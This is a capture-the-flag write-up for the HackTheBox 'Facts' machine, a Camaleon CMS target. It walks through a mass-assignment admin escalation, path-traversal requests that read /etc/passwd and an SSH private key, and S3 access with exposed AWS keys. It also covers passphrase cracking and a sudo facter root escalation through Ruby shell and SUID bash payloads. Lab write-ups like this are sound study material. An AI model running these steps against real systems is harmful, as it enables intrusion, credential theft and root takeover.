Facts writeup & walkthrough

Facts is a medium HackTheBox Linux machine running Camaleon CMS, exploited via Mass Assignment (CVE-2025-2304) or LFI (CVE-2024-46987) to gain SSH access, with privilege escalation through facter's --custom-dir option (GTFOBins).

HackTheBox - Facts


Recon & Enumeration

Use Ctrl+U to view the page source and search for version strings, CMS references, or meta tags. Inspecting the session cookie in Burp reveals a dash-separated structure (e.g. abc123-def456-ghi789), which is characteristic of a Ruby backend. Run directory fuzzing to discover hidden endpoints.

ffuf -u https://facts.htb/FUZZ -w $raft -t 300

Fuzzing surfaces an /admin endpoint. Viewing its page source and searching for CMS identifiers reveals Camaleon CMS. Registering an account and signing in confirms the version as Camaleon 2.9.0, which is exploitable via two paths: Mass Assignment and LFI.


Method 1: Mass Assignment - CVE-2025-2304 (< 2.9.0)

The goal is to escalate the account role to admin by abusing how the application processes user parameters. Intercept traffic in Burp to observe how role parameters are encoded. The role field appears as %5Brole%5D in requests. Injecting this parameter during account creation has no effect, but appending password%5Brole%5D=admin to the change-password request successfully elevates the account to admin.


Method 2: LFI - CVE-2024-46987 (< 2.8.2, still works on 2.9.0)

The private file download endpoint does not sanitize path traversal. Use Burp to craft the requests: first confirm the vulnerability with /etc/passwd, then target the SSH private key. The key filename is identified through earlier Nmap service enumeration.

# open burp and sign in (not admin)
GET /admin/media/download_private_file?file=../../../../../../../etc/passwd
GET /admin/media/download_private_file?file=../../../../../../../home/trivia/.ssh/id_ed25519

AWS Enumeration

The application exposes an internal AWS-compatible endpoint. The access key ID, secret key, and region are all available on the application settings page. Configure the AWS CLI to target the internal endpoint. Setting AWS_PROFILE as an environment variable avoids repeating --profile facts.htb on every subsequent command.

# this is a variable for aws command, you can replace it with --profile facts.htb for each command below
export AWS_PROFILE=facts.htb
uv tool install awscli
aws configure set aws_access_key_id aws_access_key
aws configure set aws_secret_access_key aws_secretkey
aws configure set region us-east-1
aws configure set output json
aws configure set endpoint_url http://facts.htb:54321
aws s3 ls
aws s3 ls internal/.ssh/
aws s3 cp s3://internal/.ssh/id_ed25519 id_ed25519

SSH Access

Crack the key passphrase with John the Ripper. Run ssh-keygen -yf a second time with the recovered passphrase: besides confirming the password is correct, the output also reveals the key owner's username embedded in the public key comment.

ssh-keygen -yf id25519
ssh2john > hashes.ssh
john hashes.ssh --wordlist=$rockyou
ssh-keygen -yf id25519
ssh -i id25519 [email protected]

Privilege Escalation - facter (GTFOBins)

Check sudo privileges with sudo -l.

sudo -l

The output shows that facter can be run as root with the --custom-dir flag. Facter loads any .rb files from the specified directory and executes them as root. GTFOBins documents two ways to abuse this.

Method 1 - direct shell:

Create a working directory and write a single-line Ruby script that spawns a bash shell. /var/tmp works equally well if /dev/shm is unavailable.

mkdir /dev/shm/strikoder
vi /dev/shm/strikoder/rce.rb
exec "/bin/bash"

sudo /usr/bin/facter --custom-dir /dev/shm/strikoder

Method 2 - SUID bash:

Write a Facter fact that copies bash and sets the SUID bit, then execute it the same way.

vi /tmp/strikoder.rb
Facter.add('rce') do
  setcode do
    Facter::Core::Execution.exec('cp /bin/bash /var/tmp/strikoder; chmod 6777 /var/tmp/strikoder')
  end
end